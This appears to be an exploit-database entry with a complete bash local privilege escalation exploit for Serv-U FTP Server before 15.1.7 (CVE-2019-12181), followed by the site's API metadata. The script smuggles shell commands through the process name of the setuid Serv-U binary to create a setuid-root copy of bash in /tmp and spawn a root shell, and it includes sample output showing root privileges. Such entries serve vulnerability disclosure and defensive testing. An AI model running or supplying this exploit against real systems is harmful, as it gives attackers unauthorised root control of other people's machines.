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"Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2)"

Author

bcoles

Platform

multiple

Release date

2019-01-13

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#!/bin/bash
# SUroot - Local root exploit for Serv-U FTP Server versions prior to 15.1.7 (CVE-2019-12181)
# Bash variant of Guy Levin's Serv-U FTP Server exploit:
# - https://github.com/guywhataguy/CVE-2019-12181
# ---
# user@debian-9-6-0-x64-xfce:~/Desktop$ ./SUroot 
# [*] Launching Serv-U ...
# sh: 1: : Permission denied
# [+] Success:
# -rwsr-xr-x 1 root root 117208 Jun 28 23:21 /tmp/sh
# [*] Launching root shell: /tmp/sh
# sh-4.4# id
# uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),117(scanner)
# ---
# <bcoles@gmail.com>
# https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181

if ! test -u "/usr/local/Serv-U/Serv-U"; then
  echo '[-] /usr/local/Serv-U/Serv-U is not setuid root'
  exit 1
fi

echo "[*] Launching Serv-U ..."

/bin/bash -c 'exec -a "\";cp /bin/bash /tmp/sh; chown root /tmp/sh; chmod u+sx /tmp/sh;\"" /usr/local/Serv-U/Serv-U -prepareinstallation'

if ! test -u "/tmp/sh"; then
  echo '[-] Failed'
  /bin/rm "/tmp/sh"
  exit 1
fi

echo '[+] Success:'
/bin/ls -la /tmp/sh

echo "[*] Launching root shell: /tmp/sh"
/tmp/sh -p
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47173/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47173/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47173/41555/serv-u-ftp-server-1517-local-privilege-escalation-2/download/", "exploit_id": "47173", "exploit_description": "\"Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2)\"", "exploit_date": "2019-01-13", "exploit_author": "bcoles", "exploit_type": "local", "exploit_platform": "multiple", "exploit_port": null}
                    

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